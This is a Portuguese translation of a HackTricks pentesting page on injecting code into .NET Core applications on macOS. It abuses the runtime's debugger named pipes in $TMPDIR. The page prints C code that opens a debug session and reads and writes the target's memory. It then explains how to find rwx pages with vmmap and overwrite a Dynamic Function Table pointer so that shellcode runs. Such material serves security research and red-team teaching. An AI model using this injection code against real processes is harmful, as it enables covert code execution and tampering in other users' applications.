12 KiB
Injeção de Aplicações .Net no macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Depuração do .NET Core
Estabelecer uma sessão de depuração
dbgtransportsession.cpp é responsável por lidar com a comunicação entre o depurador e o depurado.
Ele cria dois pipes nomeados por processo .Net em dbgtransportsession.cpp#L127 chamando twowaypipe.cpp#L27 (um terminará em -in
e o outro em -out
e o restante do nome será o mesmo).
Portanto, se você acessar o diretório $TMPDIR
do usuário, poderá encontrar fifos de depuração que podem ser usados para depurar aplicações .Net:
A função DbgTransportSession::TransportWorker lidará com a comunicação de um depurador.
A primeira coisa que um depurador precisa fazer é criar uma nova sessão de depuração. Isso é feito enviando uma mensagem através do pipe out
começando com uma estrutura MessageHeader
, que podemos obter do código-fonte do .NET:
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
No caso de uma solicitação de nova sessão, esta estrutura é preenchida da seguinte forma:
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
Uma vez construído, enviamos isso para o alvo usando a chamada de sistema write
:
write(wr, &sSendHeader, sizeof(MessageHeader));
Seguindo nosso cabeçalho, precisamos enviar uma estrutura sessionRequestData
, que contém um GUID para identificar nossa sessão:
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
Ao enviar nossa solicitação de sessão, leia do pipe out
um cabeçalho que indicará se nossa solicitação para estabelecer uma sessão de depuração foi bem-sucedida ou não:
read(rd, &sReceiveHeader, sizeof(MessageHeader));
Ler Memória
Com uma sessão de depuração estabelecida, é possível ler a memória usando o tipo de mensagem MT_ReadMemory
. Para ler alguma memória, o código principal necessário seria:
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
O código de prova de conceito (POC) pode ser encontrado aqui.
Escrever na memória
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
O código POC usado para fazer isso pode ser encontrado aqui.
Execução de código .NET Core
A primeira coisa é identificar, por exemplo, uma região de memória com permissões rwx
em execução para salvar o shellcode a ser executado. Isso pode ser facilmente feito com:
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
Em seguida, para acionar a execução, seria necessário saber algum lugar onde um ponteiro de função é armazenado para sobrescrevê-lo. É possível sobrescrever um ponteiro dentro da Dynamic Function Table (DFT), que é usada pelo tempo de execução do .NET Core para fornecer funções auxiliares para a compilação JIT. Uma lista de ponteiros de função suportados pode ser encontrada em jithelpers.h
.
Nas versões x64, isso é direto usando a técnica de caça de assinaturas semelhante ao mimikatz para procurar em libcorclr.dll
uma referência ao símbolo _hlpDynamicFuncTable
, que podemos desreferenciar:
Tudo o que resta é encontrar um endereço a partir do qual iniciar nossa busca por assinaturas. Para fazer isso, aproveitamos outra função de depuração exposta, MT_GetDCB
. Isso retorna várias informações úteis sobre o processo de destino, mas, para o nosso caso, estamos interessados em um campo retornado contendo o endereço de uma função auxiliar, m_helperRemoteStartAddr
. Usando esse endereço, sabemos exatamente onde libcorclr.dll
está localizado na memória do processo de destino e podemos iniciar nossa busca pela DFT.
Sabendo desse endereço, é possível sobrescrever o ponteiro da função com o nosso shellcode.
O código completo do POC usado para injetar no PowerShell pode ser encontrado aqui.
Referências
- Essa técnica foi retirada de https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? Ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.